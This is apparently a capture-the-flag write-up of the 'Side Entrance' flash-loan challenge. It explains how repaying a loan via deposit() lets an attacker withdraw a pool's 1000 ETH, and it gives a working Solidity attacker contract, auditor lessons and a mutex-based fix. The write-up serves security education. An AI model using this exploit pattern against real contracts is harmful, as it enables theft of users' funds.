🚪 Side Entrance - The Flash Loan Accounting Trap
Challenge Overview
The Side Entrance challenge features an ETH pool that allows users to deposit and withdraw ETH, while also offering free flash loans using the deposited funds.
The pool starts with 1000 ETH, and you start with just 1 ETH.
The Goal: Drain the entire 1000 ETH from the pool and move it to the recovery account.
Technical Analysis
The Vulnerable Code
The vulnerability exists in the interplay between the deposit, withdraw, and flashLoan functions. Specifically, look at the flashLoan validation:
function flashLoan(uint256 amount) external { uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) { revert RepayFailed(); }}The Flaw: Global vs. Local Accounting
- Global Check: The
flashLoanfunction only checks if the total contract balance (address(this).balance) is at least as much as it was before the loan. It doesn’t care how the balance was restored. - Local Accounting: The
depositfunction increases a user’s internal balance mapping when they send ETH to the contract.
The Attack Vector
An attacker can borrow ETH via a flash loan and immediately “repay” it by calling the deposit function.
- From the
flashLoanfunction’s perspective, the contract balance has been restored, so the transaction succeeds. - From the
depositfunction’s perspective, the attacker has just “deposited” 1000 ETH of their own money into the pool.
The attacker then simply calls withdraw() to take out their newly “deposited” funds, effectively stealing the pool’s original assets.
The Exploit: The Circular Deposit
- Deploy Attacker Contract: Since flash loans require an
execute()callback, we must use a contract. - Request Flash Loan: The attacker contract requests 1000 ETH.
- The Callback (
execute): Inside the callback, the attacker contract receives the 1000 ETH and immediately callspool.deposit{value: 1000 ether}(). - Verification: The
flashLoanfunction finishes, sees the balance is still 1000 ETH, and succeeds. - Extraction: The attacker contract calls
pool.withdraw(). Since the pool recorded a 1000 ETH deposit for the attacker, it sends the funds. - Transfer: Move the funds to the recovery address.
Proof of Concept (PoC)
contract Attacker { SideEntranceLenderPool pool; address recovery;
function attack(SideEntranceLenderPool _pool, address _recovery) external { pool = _pool; recovery = _recovery;
// 1. Borrow everything pool.flashLoan(1000 ether);
// 3. Withdraw the "deposited" funds pool.withdraw();
// 4. Send to recovery payable(recovery).transfer(address(this).balance); }
// 2. The Callback function execute() external payable { // "Repay" the loan by depositing it into our own account pool.deposit{value: msg.value}(); }
receive() external payable {}}Auditor’s Lessons
- Avoid Global Balance Checks for Flash Loans: Never use
address(this).balanceas the sole verification for repayment. It doesn’t distinguish between a loan repayment and a new user deposit. - Function Mutex / Reentrancy Locks: Flash loans should ideally lock other state-changing functions (like
deposit) while the loan is active to prevent circular logic. - Separate Loan Liquidity: Keep flash loan liquidity separate from user deposit accounting to prevent one from influencing the other.
- Source of Funds Validation: Ensure that “repayments” are handled through a dedicated mechanism that doesn’t trigger unrelated accounting logic.
Remediation
Add a state variable to track if a flash loan is in progress and prevent deposits during that time:
bool private isFlashLoaning;
function flashLoan(uint256 amount) external { uint256 balanceBefore = address(this).balance; isFlashLoaning = true; IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); isFlashLoaning = false; require(address(this).balance >= balanceBefore, "RepayFailed");}
function deposit() external payable { require(!isFlashLoaning, "Deposit blocked during flash loan"); balances[msg.sender] += msg.value;}